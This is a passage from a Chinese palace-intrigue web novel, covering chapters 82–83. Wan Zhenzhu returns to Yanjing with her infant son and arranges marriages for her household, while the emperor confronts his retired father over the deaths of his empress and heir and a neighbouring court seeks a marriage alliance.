如此,这有利益能勾连上。那么,操作的空间也挺大。 明里,暗里,万珍珠可打算多送几个嬷嬷到儿媳妇身上。 言传身教,这才是最好的法子。 到时候嘛,这样的儿媳妇培养出来。想必跟自家也是容易的相处来。 至于儿子、儿媳之间。 万珍珠会制造机会的,让亲儿子安康也去草原走几遭。 让少年少女相处相处。他们真合得来,那就成婚。 若是实在无缘分。只能是花钱免灾。 到时候大不了,万珍珠多掏了棺材本,那让这一桩姻缘退了。 强拧的瓜,落万珍珠的心里从来不甜。 万珍珠没瞒枕边人,说一说她的打算。 “不让未来的儿媳跟亲人分离,多相处一些年月。总归是一个念想。”万珍珠对夫君讲道。 在娘家的好时光,跟在婆家总是不一样的。 那感情不一样。 有亲娘心疼,跟好婆婆心疼,也是不一样的。 万珍珠这般打算,赵济世全都同意了。 “全依你,珍珠妹妹,你心疼儿子儿媳。还能怎么办?我肯定不拿主意,就等着喝儿子儿媳的茶。” 赵济世笑道。 “可不成。”万珍珠往夫君身边靠一靠,她笑道:“都是做长辈的。你也得出力呢。” 万珍珠可不能让夫君光享福,不出力。 “成,成。”赵济世配合一回。 他大笑一回,尔后,讲道:“咱们一条心,我肯定同意了。你说如何办,我就如何办。” 夫妻二人笑闹一场。 “啊啊。”小婴儿还是轻哼几声,也似乎是配合一回了。 第82章 从北镇起程,往燕京都而去。 这一去,对于万珍珠一家三口而言,那是一个新的起程。 可对于安康一个小婴儿而言,这一路未免太漫长。 万珍珠心中担忧儿子。于是,她跟夫君赵济世商量一回。 “济世哥哥,我与安康慢行。如此,可能晚些回燕京都。”万珍珠说一说她的打算。 千算万算,肯定是自家崽的安危更重要。 慢慢行,缓缓行,不是为了自己适应。而是为了让小婴儿安康适应。 “善。” 赵济世同意了,讲道:“如此好。” 当然,赵济世在离开北镇之前,一些安排还得妥当。 至于万珍珠这一边。她跟万嬷嬷也是商量了。 那应该送到未来儿媳挛鞮明珠跟前的嬷嬷,当然明暗两路,也得预备好。 可不是草草收场,这里面要花的功夫也大。 哪怕多花了功夫,万珍珠是乐意的。 赵济世随圣驾回了燕京都。万珍珠与马二妹妹当然是见了一回。 尔后,便是分别。 随在帝驾中,一道回燕京都的马小莲隔着车窗帘子。 她是回望了北镇的郡城。 这儿的一切,马小莲真心留恋。可惜,这一去,便是又不同。 对于自己的身份,马小莲认识的清楚。她在帝王心中,可能只是一个摆设,又或者一个牌楼。 就是摆着。 “别了,北镇。”马小莲呢喃一语。 大赵朝,燕京都,马宅。 马义跟妻子沈氏在商量事情。沈氏说道:“二妹妹随了帝驾回燕京都。” “是啊,二妹妹来了燕京都。可惜……”马义叹息一声。 沈氏知道 夫君的心头有一个什么样的结。她讲道:“二妹妹得天恩,此为天眷。夫君,我们只能多替妹妹高兴,盼妹妹往后福长禄多。” “盼如此。”马义也讲道。 “大哥、大哥写了家书,还是致歉几回。”沈氏又讲道。 “说来说去,也是遗憾了不能瞧着二妹妹风光大嫁。”沈氏说了万珍珠夫妻的家书一事。 “大哥、嫂嫂自然是心疼二妹妹的。如今,二妹妹花落天家。大哥、嫂嫂那一边,唉,他们跟我们的心思一样,都是心疼二妹妹。谁让二妹妹性子太直,担忧二妹妹在宫廷内苑,容易吃亏。”马义知道自己的妹妹是什么性子。 就是太知道了,马义才更担忧。 沈氏听着这一番话,也是赞同的。 姑嫂之间,皆是熟悉。沈氏也懂得,就凭小姑子的脾气禀性。 一旦进了宫廷内苑,太容易吃亏了。 “夫君,二妹妹是聪慧的明白人。以前,不过是年岁太小。往后,总归会慢慢添了经验,便是吃些小亏,也是享了大福份。”沈氏捡着好听的话讲。 马义听着媳妇的话,自然是默许的赞同一回。 马义的心里,他还是想听一听好话吉祥话的。 大晋朝,镐京都,皇宫,昭阳宫。 李皇后听着陪嫁的禀话,她笑道:“好,太好了。” 李皇后很高兴。因为她得着消息,帝王已经明旨吩咐。 差使节往大赵去求亲。这求亲的对象便是李皇后的亲侄女。 关于侄女模样,李皇后有着记忆。回想来,也觉得侄女容貌可爱,有几分像极了兄长承顺帝。 “本宫盼着儿媳妇早些过门,得一个本宫一条心的,本宫心里舒坦啊。”李皇后高兴的利害。 毕竟帝王洪福帝的选择,这已经给出来了。 难得啊,在李皇后眼中,帝王还站了她的这一边。 李皇后是真的欢喜。 这不,这一道圣意安排下去。在宫廷内苑,料理宫务时。李皇后感觉更添几分顺畅。 皇宫,职房。 万内相一直在洪福帝跟前当差。宫廷内苑,哪些事情都瞒不住他的眼睛与耳朵。 “荣恩伯府,也是胆大。”万忠良感慨一回。 荣恩伯府往宫廷里塞人,还想塞了三皇子跟前。 若是往年,万忠良肯定不允许。 可如此嘛,万忠良不敢擅抟,他是禀报上去,等着天子谕令。 跟以前不一样。这一回的洪福帝偏生同意了。 让荣恩伯府在三皇子跟前,也是添了值得信任的近身侍候奴才。 哪怕只两人,可这两人,对于荣恩伯府而言。 不止是多了讲好话的,还是多了眼睛与耳朵安插在皇子跟前。 “陛下……”万忠良望着泰和宫的方向,轻轻一叹。 万忠良心头有数,帝王在安排后事。 三皇子跟前,能安插人手的。除了帝王,便是荣恩伯府。 余者,全被帝王一言而拔了钉子。 可谓是三皇子跟前,谁都是有根底的。没根底的,也不可能近了三皇子的身边当差。 大赵,北边,草原。 挛鞮一族的大阏氏收到了南边的来信。至于送信的信使,大阏氏忽略了。 “去,唤了郡主来。”大阏氏吩咐一句。 郡主,这自然是称呼了挛鞮明珠。 这一位挛鞮一族的大汗之女,被承顺帝顺口册封了一个郡主的封号。 因为这一位郡主的弟弟,如今的挛鞮一族小汗,也被承顺帝册封了一个郡王的爵位。 当然,这些全是虚号。真正让姐弟二位立足的。 还是挛鞮一族的实力。 或者说是大阏氏背后的母族以及挛鞮一族的实力支撑的。 草原认实力。拳头大就是硬道理。 “阿娘。”挛鞮明珠从帐外来。 她进大帐内,手中还拿着小鞭子。她三岁。 三岁明明不大,可装了一幅小大人的模样。 “娘的掌上明珠。”大阏氏唤了女儿。 大阏氏很看重儿子,毕竟儿子是挛鞮一族的小汗。 可在心头,大阏氏也在乎女儿。 “瞧,这些全是明珠的婆家礼物。瞧瞧,可喜欢吗?”大阏氏指着大帐内,那些被打开的大箱子。 “喜欢。” 挛鞮明珠望着打开的箱子,她真的喜欢。 那些面的东西太齐全。从首饰等等,再到绸缎,再到金刀。 那金刀,最让挛鞮明珠喜爱。她伸手,一把拿住了金刀。 “这刀真漂亮。”挛鞮明珠一眼爱了。 “此是你未来丈夫的礼物,明珠,一眼就挑中了它吗?”大阏氏问道。 “嗯,喜欢它。”挛鞮明珠握着金刀的手,这会儿不想松开。 “缘分,上苍定的缘分。”大阏氏感慨一回。 “唯盼上苍庇佑,让我儿得一位英雄做夫婿。” 大阏氏说着她对于女儿终身大事的期盼。 在草上,最好的男儿不一定有最英雄的容貌。 可他一定有最广大的能耐。 英雄,成功的英雄,那才是草原人最尊敬的。 大阏氏也一样,她敬英雄。 承顺元年,一路缓行。 万珍珠抱着儿子安康,母子二人在缓行。 “啊,啊。”安康喜欢了外面的风景。 被亲娘抱着时,他啊啊几声。当然,这一份热闹不会太长久。 安康也很喜欢吃吃睡睡。他的觉,总是很多的。 睡一睡,吃一吃,小婴儿的世界很简单。 “算命,不准不收钱。” 远远的,万珍珠听到了神棍的喊话。当然,她不在意。 可这时候,街道上有热闹。 “神算,仙师……”有人嚷嚷。一时间,小城里,道路上不缺着看热闹的人。 万珍珠等人的马车给堵上了。这等时候,小城的街道倒显得窄了一些。 这一场热闹。从头到尾,万珍珠没下场。她只是静静的瞄一眼。 尔后,等着马车离开。 不过,从一些言语里,隐约之间万珍珠大概闹懂了一些事情。 这一座小城来了一位算命仙师。那是一算一个准。 “这太利害了。”同样跟万珍珠围观的人里,万珍珠一问感想。 万嬷嬷就是这般佩服。这佩服的对象,当然是那一位神算。 “只不知道这一位仙师泄漏太多天机,往后,可会反噬了?”万嬷嬷担忧一回。 瞧这情况,万嬷嬷是迷信的很。 问万珍珠,万珍珠的也是拿捏不准的。 毕竟有没有漫天神仙?万珍珠没瞧见过。 可重生与穿书都有了。 万珍珠亲身体验过。 万珍珠如今的态度就是既信,又不信。可谓是处在中间,如信。 只是在万珍珠一行离开后。 在一处酒楼的二楼雅间,一处半开的窗户又合上。 “倒是好定力。说走就走。” 显然了,有人在观察了万珍珠一行人。 大赵,燕京都。 赵济世已经踏回了这一座旧都。他在这里许多年。 问对燕京都的熟悉,赵济世觉得他应该熟悉的。 可近日,赵济世又不敢承认,他是熟悉的。 也许城池熟悉,可城池里住的人呢? 承顺帝领得胜大军归来。帝王归来,先赏诸军将士。 就在大赏之后,帝王的抄家令也下来。 赵济世就是当一回亲历者,燕京都在短短的时间内,洗牌一回,太多人被赶下桌了。 新唐侯府。 赵济世见着诸位结义兄弟。十三人在书房里议事。 马义讲道:“大哥不在,我们这些日子可缺了主心骨。” “对,二哥说得太对了。”卢泰山赞同一回。 赵济世瞧着诸兄弟,你一言我一语,一道关心了结义大哥。 当然,更是关心了大侄子安康。 对于当爹的赵济世而言,说一说亲儿子安康。 他是有兴趣。 可正事要紧。赵济世更想关心了燕京都的未来。 回了燕京都,这一回要扎根立足。特别是如今风大,可鱼也大。 赵济世也想捞一些家底。白捡的便宜,一旦没捡着。 让赵济世想来,那就是亏了。 “诸位弟弟,我这一趟回来,往后,怕是不会走了。这是陛下的恩典。”话罢,赵济世还向皇城的方向做一个礼。 “对,陛下的恩典。”余下诸位义弟也是跟赵济世的一样的态度。 在赵济世心底,他真感激了承顺帝。这不,时时刻刻,忠义在前。 这忠,忠于帝王。义,感恩帝王。 “只有一桩事,我倒对不住二弟。二妹妹的终身大事,我和你们嫂嫂没能帮衬上。” 赵济世对于马小莲的事情,他也遗憾。 特别是赵济世还知道承顺帝的真实情况。哪怕不知道全部底细呢。 在北镇的那些日子,赵济世凭着根 基上,他真打探到一些消息。 越如此,对于马小莲入宫了,做了帝王嫔妃。 赵济世很遗憾的。 “这是二妹妹的命数。大哥,与你和嫂嫂没干系。”马义看得开。 因为马义已经从妻子沈氏的口中知道详细情况。 马小莲这一个亲妹妹如何被天子瞧中,哪儿瞧中的? 马小莲说了,说了她的糊涂,再回节度使府邸。 这不,自己给自己踢坑底。 这落了坑底,想爬,马小莲如此都是爬不起来的。 大赵朝,燕京都,皇宫,泰一宫。 承顺帝已经拿着太多的证据。可这些,对于帝王而言已经不算最重要的。 帝王真有心,拿着兵权大握。那自然是想收拾谁,就能收拾谁。 “摆驾,朕要去给父皇问安。”承顺帝讲道。 “唯。” 全公公赶紧应话。 承顺帝已经拿到了暗卫的最新证据。关乎皇后与嫡子的死。 真是帝王想查,一切查得一个明明白白,水落石出。 太上皇,永治帝。这一位帝王觉得自己太窝囊。 明明他做皇帝,那是最舒坦时。嫡长子,这一个他心疼太久的大儿子造反。 狗屎的神武门继承法。这个嘲笑的俚语一出来。 太上皇跟塞了屎入口一样的恶心。 “启禀上皇,陛下的圣驾来了。”宫人恭敬的禀话道。 听着宫人的禀话,太上皇永治帝连眼睛都不带眨一下的。 “知道了,请皇帝进主殿吧。”太上皇的态度摆这儿。 他是皇帝的亲爹,随皇帝什么态度。 反正太上皇相信,皇帝肯定不敢谋了亲爹的性命。 没了权利,太上皇就想享受,再享受一二。 “朕打扰上皇清修。”承顺帝一来,那口里说得客气。 可真客气吗?落在太上皇的眼睛,一点不客气。 而是太嚣张了。 对于太上皇而言,如今的他看这一个嫡长子,如今看,如何不顺眼。 “看来,朕以为与君父有默契。原来,一切是朕的幻想。” 问承顺帝心里什么想法。 承顺帝的心里,他恨极了永治帝。父子之间,隔阂已深。 “朕的好儿子,不做你的皇帝,来朕这儿寻什么晦气不成?”太上皇在激怒了儿子。 或者说太上皇觉得自己太憋屈,他就想着,他不痛快,也不让旁人痛快。 这里的“旁人”,更像是除天子承顺帝以为的,都不算数。 “都退下。”承顺帝吩咐一句。 在场宫人,没谁敢忤逆帝王吩咐。一一行礼,一一告退。 瞧着侍候自己的宫人们也一一退下。太上皇的神情很难堪。 对于太上皇而言,他觉得权威被冒犯了。 “父皇,你我父子,何至如此?”承顺帝的目光落在太上皇的身上。 “朕不知道皇帝在说些什么?莫不成又扣了屎盆子在朕的头顶?”太上皇二问连连。 承顺帝的脸色很淡,淡意,渗透了眼眸的深处。 “朕的皇后薨了,朕的嫡子没了。”承顺帝压抑着心底的痛苦,他用一种冷漠的语气讲道。 太上皇瞧着承顺帝,冷哼一声,道:“报应,报应。” 在太上皇眼中,谁的报应?当然是嫡长子李明弘的。 “哼,朕跟父皇一亲,也不信报应的。”承顺帝很淡然。 “真不信?”太上皇不相信。 “不信。”承顺帝讲了此话后。他的目光落在太上皇身上。 “朕已经拿到人证,查到物证。君父,真想骗一骗儿子?”承顺帝问道。 “……”太上皇沉默。 “那是朕唯一的嫡子,也是君父的嫡长孙。”承顺帝压抑着的痛楚,他问道:“为什么?” “……”太上皇在沉默。 沉默,有时候也是一种态度,一种答案。 至于承顺帝瞧懂了。他的眼眸子变得更冷漠了。 “为什么。”太上皇嚼着这三字。 “朕也想问什么。”太上皇是豁出去的样子,他冷笑道:“当初把朕一脚踢下去时,朕以为,朕的好大儿准备好承担责任。” “怎么,不过死一个继室,死一个儿子,这就受不了?”太上皇的态度,那是没有好态度。 被人扎心窝子,承顺帝瞧着父皇。他的眼神冷了。 同时,承顺帝微收敛一番,他微低头颅。 “朕就想问一问,太上皇,朕的君父,父皇。嫡长孙的身上流着您的血,为何,也能下狠手?” 这才是承顺帝最不理解的地方。 “……”太上皇不想说话。 太上皇能说,起头,那是他开的。可后面,他都是揽不住局面。 失控,才是出大问题的原由。 可太上皇永治帝要脸,于是,有些话他就不讲。 承顺帝瞧着这一幕,他气急。 “好,好。”承顺帝看懂了太上皇的态度。 承顺帝能怎么办?他压根儿拿太上皇没好办法。 谁让太上皇子是亲爹,承顺帝继承的龙椅,那也是从亲爹那里继承过来的。 举了旗帜,再想反悔,从来没容易的。承顺帝也要注意影响的。 大赵,燕京都。 刚下差的赵济世得着新消息,太上皇病了。 “太上皇……”多久前的大人物。赵济世对于这一位,一时间知道了新消息,也是惊讶一回。 惊讶一回,尔后,便是忽视了。 对于赵济世而言,他更在意了。这一个年节。 他们一家三口,那是在燕京都的新唐侯府过新年。 万珍珠坐着马车,她抱着自家的崽崽,那是踏足了燕京都的土地。 “安康,瞧瞧,外面是燕京都。”万珍珠抱着亲儿子,哄一哄。 也甭管小孩儿听懂,还是听不懂。 万珍珠就爱跟亲生的孩子说说话,也算是先教会了孩子如何说话。 至于说感了人? 如今的小婴儿太小,教导那些,比如说话什么的。 太早了,一切还太早了。 “终于归来。”万珍珠心头也开心的。 “夫人。”熟悉的声音,在车外响起。 明明刚进了燕京都的外城。大道上,能听着如此耳熟的声音。 万珍珠是撩开了车窗帘子。尔后,她瞧见面骑大马,那是一身简装的丈夫。 “济世哥哥。” 万珍珠唤一声,心头欢喜。此时,她抱着儿子,说道:“安康,唤爹爹,爹爹。” 被亲娘叨叨太回多。安康听着爹爹二字,他习惯了顺着亲娘的目光扭过一下小身子。 “等回府再述旧。珍珠妹妹,路上说话不便。” 赵济世笑道。 “嗯,全听济世哥哥的。”万珍珠同意了,又放下了车窗帘子。 可瞧过外面热闹的安康还是哼哼叽叽。 显然,对于不一样的风景,小婴儿有兴致。 只这会儿万珍珠不是有兴趣继续给儿子教一教说话。 万珍珠更想领着儿子早早回府上,回自家去。 金窝银窝,倒底不如自己的狗窝。 哒哒的马啼声远去。 在街道上,在内城,繁华处处。崔八姑娘领着妹妹,也恰好 的瞧过新唐侯府的马车队伍远远而去。 只是恰好的,就是瞧见一回。 “新唐侯一家人全回燕京都了。”崔九姑娘感慨一回。 “遇上了国孝。若不然,各府的聚会,怕是又多着。”崔九姑娘又讲道。 “姐姐的婚事,也是延后了。”崔九姑娘更在意了自家姐姐的婚事。 这被拖着,真是无奈。没法子,谁让遇着皇后娘娘的丧期。 常二公子与崔八姑娘的婚事,自然是缓一缓。 请一个更吉利的好日子。 “姐姐,您这能在家里多松快一些时日。我觉得真好。真舍不得姐姐出嫁了。”崔九姑娘说着心底真心话。 “傻妹妹,我们是亲人,一辈子血脉相连的亲人。”崔八姑娘哄一哄亲妹妹。 姐妹二人说说话。 这会儿的崔九姑娘又小声说道:“姐姐,我听说,好些人在蛐蛐了新唐侯夫人。都说,她是会钻营的。跟她爹一样。” 在崔九姑娘这儿,崔八姑娘听着好些的事情。 关于新唐侯夫人万珍珠的身世,如今摆在台面上。 会如此? 不过是有人羡慕嫉妒罢了。 谁让新唐侯这一位新贵,那是真的显贵。 新唐侯夫人嘛,那一直又不在燕京都。人不在,免不得非议些。 “想来,待新唐侯夫人多举办一些宴会。熟悉后,别人就知她的好。”崔八姑娘讲一回心底话。 第83章 大赵朝,燕京都,内城,新唐侯府。 万珍珠一行回到了家。 这里万珍珠熟悉,一去再归,心情别恙。 至于小婴儿安康,他睡得的很熟悉。对于其它的一切,他不在乎。 燕京都,内城,马宅。 沈氏接到了消息,嫂嫂回来了,大侄儿安康回来了。 这是新唐侯府差人送来的消息,不止如此。 侯府有了主母,自然也是一家人聚一聚。 这里面的一家人指着赵济世与结义弟弟们,这十三家人是聚一聚。 沈氏对此,当然没二话同意的。 大晋朝,镐京都,皇宫,泰和宫。 洪福帝卧病在床。帝王又是病一场。这是入冬后,帝王的一场突然染病。 李皇后在侍疾。 李皇后侍候了帝王用过药汤后,此时,洪福帝简单的漱一漱口。 精神头并不算太好。洪福帝的心情很坏。 帝王病了,还在担忧社稷与江山。毕竟是自家的基业。 “辛苦皇后了。”洪福帝对中宫皇后李淑阳讲道。 “陛下,不过份内事。这哪有辛苦的。如今,唯盼陛下早日康复。” 对于李皇后而言,她是盼着帝王康复的。 帝王安在,朝堂安稳,李皇后可以更好的稳住宫廷内外。 谁让李皇后上位的时间太短,又是大赵朝的和亲公主上位。 对于李皇后而言,在大晋朝,她的根基太浅了。 “朕准备册立太子。”洪福帝唯一的儿子三皇子,哪怕不是太子。 其时也跟太子没两样的,谁也不敢怠慢。 “陛下裁决即可。”李皇后语气温柔。 “此事,其时不重要。陛下早日痊愈,这才是头等大事。”李皇后讲了她眼中的大事。 反正在李皇后瞧来,洪福帝活着的就一儿一女。 这皇位,除了三皇子外,再无其它的继承人竞争。 “朕是想着册立太子,同时,册立太子妃。”洪福帝说了他的打算。 “原来如此。”李皇后太懂了。 “可太子妃,这还没得着大赵的允可,两朝联姻,尚待消息。”李皇后对于册立太子妃什么的,她是满意的。 特别是太子妃如果是她的亲侄女,她就更开心。 “使节已往大赵去求亲,待联姻成了,再是操办大典不迟。”洪福帝说了他的安排与打算。 李皇后听罢,自然是赞同的。 大赵朝,冬日寒凉。 在这等日子,万珍珠听着外面的消息。大晋来使节团。 万珍珠心底是关心着大晋朝的浑江公主府,又或者说是住了公主府里的爹娘。 使节团的到来,又勾起了万珍珠的思念亲人的思绪。 “嬷嬷,我得给爹娘备了年礼,早早差人送去的。” 万珍珠讲道。 “殿下,您放心,年礼已经按着的您要求备下。就差你复核一回,即可安排送往镐京都去。” 万嬷嬷回话道。 “昨个吩咐嬷嬷备礼,今个就备好了。嬷嬷办事,真是利落。”万珍珠夸一回。 “原来接章程办事,一切是殿下管辖的好。”万嬷嬷夸一回。话里话外,夸的全是万珍珠这一位揽总的负责人。 又是听人捧一捧,听着好话入耳。 万珍珠的心情真的不错。 于是万珍珠这会儿就是复核一回给爹娘的年礼单子。 确诊无误,万珍珠交代一回。差人立马安排上,往镐京都的浑江公主府送去。 关于走年礼的事情,给爹娘那一边安排上了。 旁的,像是人情往来,甭管是未来的儿媳处,还是各位义弟等亲人的府上。 再或者有人情往来的,夫君的人脉联络等等。 这些人情往来,万珍珠得张罗好。 这是新唐侯夫人要忙碌的事情。这不,今个的料理一番。 尔后,万珍珠准备歇一歇,歇了眼睛,歇了精神。 算是养一养,让自己舒坦一点。就这会儿,万珍珠瞧着一直睡觉的儿子安康醒来。 小孩儿醒来,亲娘哄一哄。 这小孩儿太小,万珍珠抱一抱,在怀里也是瞧着可可爱爱。 “嬷嬷,瞧瞧,安康这一张脸,这眉眼越来越像极了孩子他爹。” 万珍珠的目光落在大儿子脸蛋儿上,满眼笑意的讲道。 “奴婢一瞧,殿下讲的太对了。小世子跟侯爷简直是一个模子倒出来的一样。”万嬷嬷笑着附合一回话道。 “只说不一样的,怕是小世子的模样更俊俏些。”万嬷嬷的眼中,小世子就是精致了七分的小号新唐侯。 当然,这小世子嘛,也有捡了亲娘浑江公主的地方。 像是那一张唇,那嘴巴像极了亲娘。 万嬷嬷附合着侍候的主子,这会儿说说笑笑的。 “嬷嬷,雪香四人,她们的年华正好,不可耽搁了。” 万珍珠和万嬷嬷闲谈一会子,万珍珠讲到了跟前的四个大丫鬟。 雪香等四人是万珍珠的陪嫁丫鬟。也是亲爹给挑的心腹。 万珍珠自然是信任的。 只是女儿家的年华,最好就那些年。 当年,在镐京都时,那些陪伴的万珍珠的侍候丫鬟。 到年岁的,在出嫁前,万珍珠已经一一安排妥当。 如今嫁来燕京都,嫁给夫君赵济世。陪嫁丫鬟里,也有到了成婚年岁的女郎。 万珍珠当然也一样要安排一番的。不可辜负了别人的好年华。 “早前,就是提过她们的婚事。只那时候,我怀着安康。倒底以孩子为重。再则,那时候是在北镇。” 话至此,万珍珠停顿片刻。 万珍珠和万嬷嬷都清楚,那会儿缓一缓到年岁的丫鬟们的终身大事。 不外乎,一则不想身边人事变动,怕有影响。 一切当然是以保护了安康的降生为要紧的事情。 其二嘛,也有原由。 “北镇没燕京都繁华,如今回了燕京都。若能在京都寻的好姻缘,自然更好。”万珍珠笑道。 人往高处走,水往低处流。 若能留了富贵窝,没谁会想,没苦硬吃。 万珍珠至少不是这样的蠢人,也不是这般的倔强人。 成婚,嫁谁? 虽然万珍珠是这些丫鬟的主子。可在万珍珠心底,她是拿自己当上司。 她掏钱,别人干一份工作。 就这一个世道而言,万珍珠自认为,她是一个好上司。 若是可能,从来双赢。不想着独占独吃,这是万珍珠的理念。 “雪香她们, 自然感念了殿下的仁爱。“万嬷嬷眼中,浑江公主是好人。 浑江公主就跟她爹万内相一样,救苦救难。 至于这被救的人里,那有万嬷嬷这一般的苦命人。 “也不拘着雪香四人,只要年岁到了,这一回都可以一一安排的。” 万珍珠望着万嬷嬷,讲道:“往后,也得嬷提醒了我。可不好耽搁了女郎们的好年华。” 对于万珍珠而言,甭管是谁,在她家当差的。 少年与女郎,只要到了年岁,应该成婚,想婚了,想嫁谁,想娶谁? 万珍珠从来不设门坎,能给帮衬的,她是乐意伸一伸援手。 就像是雪香等人,她们想成婚。可与府内,或是与外面当差的,又或者着与民籍等相看。 只要相中了,彼此满意。万珍珠还乐意给女郎出一份嫁妆。 给府上当差的少年出一份聘礼。 虽然可能数目不大,到底也是新唐侯府的一份心意。 算是一个添彩。 当然,至于添彩多少?这肯定有一个亲疏关系。 离着万珍珠一家三口越近,当然是标准越高。 没法子,从古至今,谁都更相信眼前人。 熟悉人,那当然关系更好。毕竟,都不熟了,如何相信? 这会儿的万珍珠关心一回,万嬷嬷也是讲一回。 毕竟早有预案的事情。如今就是摆台面上,那是一一安排。 雪香等人,自然是各有选择。只能说,大家伙都盼着光明的未来。 对此,万珍珠没意见,她就是乐呵呵的当一个给大家伙添妆的好上司即可。 至于说,有没有人不想成婚? 目前嘛,除了陪嫁的嬷嬷,她们年纪大了,不想折腾,没心思再成婚,一辈子自梳了,如此安渡日子。 算是跟主家绑在一处,全靠主家过日子。 其余的女郎,甭管谁,反正万珍珠没瞧见说,谁不想成婚。 至于原由? 万珍珠也懂。因为世道如此,舆论如此。 真不成婚?从来是个例。 成婚,才是大多数人合群的标志。因为大家伙都如此。 谁不一样,那才特殊。 这一日,万珍珠在知道了大晋朝的使节团来燕京都外。 万珍珠又得一个宫廷内苑的消息。 “二妹妹晋封了,喜事。”万珍珠挺开心的。 对于马小莲的前程,万珍珠盼着对方好。 “殿下,如今马婕妤已经得了圣意。此,大喜事。”万嬷嬷笑道。 “是啊,大喜事。”万珍珠也得这般讲。 不这般讲,那如何讲? 讲了承顺帝年纪大吗?可据万珍珠知道的,承顺帝年纪也不算大。 承顺帝的膝下,儿女也不算多。宫廷内苑,高位有空缺着。 一旦马小莲有本事,真是爬上去,也有富贵日子。 只是嘛,万珍珠跟弟妹们聚一聚时。大家伙也是议一议马小莲的前程。 那会儿,女眷们说了男人的心思。赵济世等结义的十三位兄弟。他们的心思一样。 不盼了马小莲拼命搏什么圣宠。他们就盼着马小莲这一位妹妹好好的。 在赵济世等人心里,他们都是男儿搏前程。 没有让马小莲一个娇女郎搏前程的。宫廷内苑,行步踏错,更可能惹了祸事。 对此,万珍珠和弟妹们自然是赞同的。 多做多错,不做不错。背后还有靠山的嫔妃,只要一步一个脚步的稳。 那日子不会难熬的。至少,也算得平平安安一辈子。 若是马小莲想搏一场?这是一个仁者见仁,智者见智的问题。 成不成的,谁也不敢保证就是了。 当晚。 夫妻二人哄了一回小孩儿。待小孩儿安康睡着了。 赵济世牵着妻子的手,夫妻二人在府里的花园子走一走。 明明冬日,微有寒雪。纷纷扬扬。 “下雪了。”万珍珠讲道。 “是啊,临着晚间,落了一场雪。”赵济世讲道。 “落雪不寒,化雪冻人。”万珍珠还伸手,接了一朵小雪花。 小小的,那小小的雪花落在掌间,万珍珠瞧着,也觉得份外可爱。 这会儿的廊道下,有灯笼点亮。 赵济世握着妻子的手,他讲道:“怕外面会更冷,我们回屋吧。” “好。”感受着握着自己手的大掌,那掌心很温暖。万珍珠应了一字。 夫妻二人回了寝屋,倒是沐浴一回。 只二人没干什么,不过是纯粹的沐浴一番,去一去寒气。 寝屋内,沐浴好后。夫妻二人同处一间寝屋里。 侍候的丫鬟等被打发走。 屋内,夫妻独处。 这会儿的赵济世揽了妻子在怀里,他就想跟妻子说说话,凑一堆。 “珍珠妹妹的身上真香。”赵济世笑道。 “我抹了香脂。”万珍珠回道。 “不,不止香脂的香味。”赵济世嗅着鼻间的一点馨香。 “还有一股香味,我只在妹妹身上闻过。”赵济世的语气里带着一种亲腻的味儿。 “……”万珍珠沉默。 有吗? 万珍珠知道的,她真没体香这回事。至少,她闻着,就是香脂的味道。 不过夫君说有,那就有吧。 可能二人闻着的香味,万一不一样呢? “济世哥哥,二妹妹晋为婕妤了。我瞧着,指不定宫里会召见一回亲人呢。”万珍珠笑道。 “妹妹有诰命,若得宫中诏见,自可进宫去,跟二妹妹问一问有什么能帮衬上的。” 赵济世这会儿说一说义弟马义。 关于马义这一位义弟嘛,那在赵济世跟前又是说了多少关于妹妹马小莲的话。 总之,马义是好哥哥。 赵济世也是好兄长,他也盼着二妹妹马小莲前程光明。 “只是……”赵济世在妻子这儿,还是讲一讲真话。 “陛下在北边受过重伤,唉,可能于寿数有碍。” 赵济世替二妹妹担忧一场。 同时,赵济世也担忧了自己的前程。他是承顺帝心腹。 承顺帝在龙椅上坐着,做为帝王心腹,赵济世的前程可期。 真是一朝天子一朝臣,换了天子,就会动了利益。 到时候燕京都又会打起来,高层什么构架安全? 自然是大家伙打完了,应该被吃掉的,一一分了蛋糕后。 那时候大家伙也是平衡出现,那时候上层的构架嘛,就会暂时又稳定下来。 什么时候不稳? 自然是平衡被破坏的时候。谁来破坏,全看天命。 大赵朝,燕京都,皇宫,泰一宫。 承顺帝接到了大晋的使节呈文。关于大晋求婚一事。 承顺帝不多考量,他就答应下来。 当初妹妹去和亲,承顺帝是担忧的。至于说不乐意? 承顺帝只是不想妹妹远嫁。至于说其它的和亲公主嘛,承顺帝觉得有道理的很。 只能说站在谁的位置上,那立场不同,屁股坐处就不同。 就在应了大晋这一桩求亲后。承顺帝在泰和宫里,也是在思量了另一桩事情。 对于承顺帝而言,他应该册立一位中宫皇后。 有中宫皇后,那跟没有中宫皇后,到底不一样的。 如今的皇宫,承顺帝已经清洗过几遍。一遍一遍的筛选。 能过关的,甭管是真干净,还是躲过去。 承顺帝不在意。这几遍的清洗下来,至少如今瞧着,局面已经清清白白。 朝堂上也一样,那些不让帝王满意的,那已经被抄家了。 如今的承顺帝在思考的,那是选谁做皇后? 当然,这事情嘛,也要缓一缓。 承顺帝还打算再看一看风向。谁,那真能替帝王多分忧。 至于说太上皇那儿? 承顺帝跟亲爹已经翻脸过。太上皇的一些心腹,在这一回的抄家里,也是被干掉好些。 总之,太上皇的一些人脉,承顺帝就要拆一拆。 “陛下,出事儿了。” 全公公得着消息,赶紧来禀道:“禀陛下,上皇病了。” “……”老人得病,在承顺帝心里,这真不叫大事。 奈何这病了的是太上皇,那就很要紧。 态度嘛,承顺帝要拿出来。儿孝亲爹,这可是大正确。 这是公序良俗,或者说这是此世道的统治根基。 哪怕是帝王,也得装一装门面。或者说,真是聪明的,那就不会瞎破坏一些规矩。 有些规矩,它能出现,那自然有出现的原由。 没什么是无缘无故出现的。一旦出现,总有它的背景与过往。 “摆驾。” 这时候的承顺帝不多想,他要去父皇跟前。应该摆的孝心,那得表现出来。 太上皇永治帝了,不止是因为老胳膊老腿了。 更是心病。 退位前,虽然不甘心不情愿。 到底是刀在脖子,不得不低头。可真的闲下来。 太上皇有一点相信了权利。 权利,世人最好的补品。一旦尝过,不会想着放弃的。 毕竟,谁想放弃,那一定是没有品尝地权利的甘美。 太上皇品尝过权利的甘美,他不想放弃。哪怕做了上皇,他也想逞一逞威风。 哪怕,因此连累一些人,干出一些龌龊事。 太上皇不在意。或者说,这些蛀虫什么的,早发现,早除掉更好。 太上皇跟承顺帝斗了好些场。彼此,各有损失,各有收获。 承顺帝嘛,当然是大赢家。 在一些无关紧要时,承顺帝以前一直乐意给了太上皇体面。 等着中宫皇后和嫡子殁了后,承顺帝的想法才改变。 